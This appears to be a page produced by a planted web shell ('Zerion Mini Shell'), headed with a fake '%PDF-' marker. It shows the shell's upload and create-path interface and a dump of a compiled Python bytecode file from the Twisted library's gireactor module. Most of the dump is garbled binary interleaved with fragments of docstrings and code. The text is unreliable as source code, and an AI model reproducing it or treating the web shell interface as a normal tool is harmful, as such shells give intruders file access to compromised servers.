%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/internet/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/internet/__pycache__/gireactor.cpython-312.pyc

�

Ϫ�f�
����dZddlmZddlmZddlmZddlmZddl	m
Z
eedd��ej�Gd	�d
ej�ZGd�dej�Zdd
edeeeffd�ZdgZy)a�
This module provides support for Twisted to interact with the glib
mainloop via GObject Introspection.

In order to use this support, simply do the following::

    from twisted.internet import gireactor
    gireactor.install()

If you wish to use a GApplication, register it with the reactor::

    from twisted.internet import reactor
    reactor.registerGApplication(app)

Then use twisted.internet APIs as usual.

On Python 3, pygobject v3.4 or later is required.
�)�Union)�GLib)�	_glibbase)�ReactorAlreadyRunning)�runtime�threads_initNc�"�eZdZdZdZdd�Zd�Zy)�	GIReactorz�
    GObject-introspection event loop reactor.

    @ivar _gapplication: A C{Gio.Application} instance that was registered
        with C{registerGApplication}.
    Nc�N�tjj|td�y�N)r�GlibReactorBase�__init__r)�self�useGtks  �</usr/lib/python3/dist-packages/twisted/internet/gireactor.pyrzGIReactor.__init__/s���!�!�*�*�4��t�<�c����|j�td��|jrtd��t	�d�std���|_�fd�}||_�j|_y)a�
        Register a C{Gio.Application} or C{Gtk.Application}, whose main loop
        will be used instead of the default one.

        We will C{hold} the application so it doesn't exit on its own. In
        versions of C{python-gi} 3.2 and later, we exit the event loop using
        the C{app.quit} method which overrides any holds. Older versions are
        not supported.
        Nz2Can't register more than one application instance.z5Can't register application after reactor was started.�quitzPApplication registration is not supported in versions of PyGObject prior to 3.2.c�H���j��jd�yr)�hold�run)�apps�rrz+GIReactor.registerGApplication.<locals>.runIs����H�H�J��G�G�D�Mr)�
_gapplication�RuntimeError�_startedr�hasattr�_runr�_crash)rrrs ` r�registerGApplicationzGIReactor.registerGApplication2su������)��S�T�T��=�=�'�G��
��s�F�#��7��
�!���	���	��h�h��r�F)�__name__�
__module__�__qualname__�__doc__rrr�rrr
r
$s����M�=�rr
c�2��eZdZdZd�fd�	Zd�Zdd�Z�xZS)�PortableGIReactorz<
    Portable GObject Introspection event loop reactor.
    c�2��t�|�td|��y)N�r)�superrr)rr�	__class__s  �rrzPortableGIReactor.__init__Ws���
����t�F��3rc��td��)z�
        Register a C{Gio.Application} or C{Gtk.Application}, whose main loop
        will be used instead of the default one.
        z3GApplication is not currently supported on Windows.)�NotImplementedError)rrs  rrz&PortableGIReactor.registerGApplicationZs��
"�"W�X�Xrc��y)z5
        For compatibility only. Do nothing.
        Nr%)rs r�simulatezPortableGIReactor.simulateas�rr )�returnN)r!r"r#r$rrr/�
__classcell__)r+s@rr'r'Rs����4�Y�rr'rr0c��tjj�dk(r
t|��}nt	|��}ddlm}||�|S)z�
    Configure the twisted mainloop to be run inside the glib mainloop.

    @param useGtk: A hint that the Gtk GUI will or will not be used.  Currently
        does not modify any behavior.
    �posixr)r)�installReactor)r�platform�getTyper
r'�twisted.internet.mainr4)r�reactorr4s   r�installr9gs?�������!�W�,��6�*��#�6�2��4��7���Nrr9r )r$�typingr�
gi.repositoryr�twisted.internetr�twisted.internet.errorr�twisted.pythonr�getattrrr
r
r'�boolr9�__all__r%rr�<module>rBs����(��&�8�"�
�4���&�2��D����+�	�)�)�+�\�	�1�1��*�D��U�9�6G�+G�%H��&�+�r

Zerion Mini Shell 1.0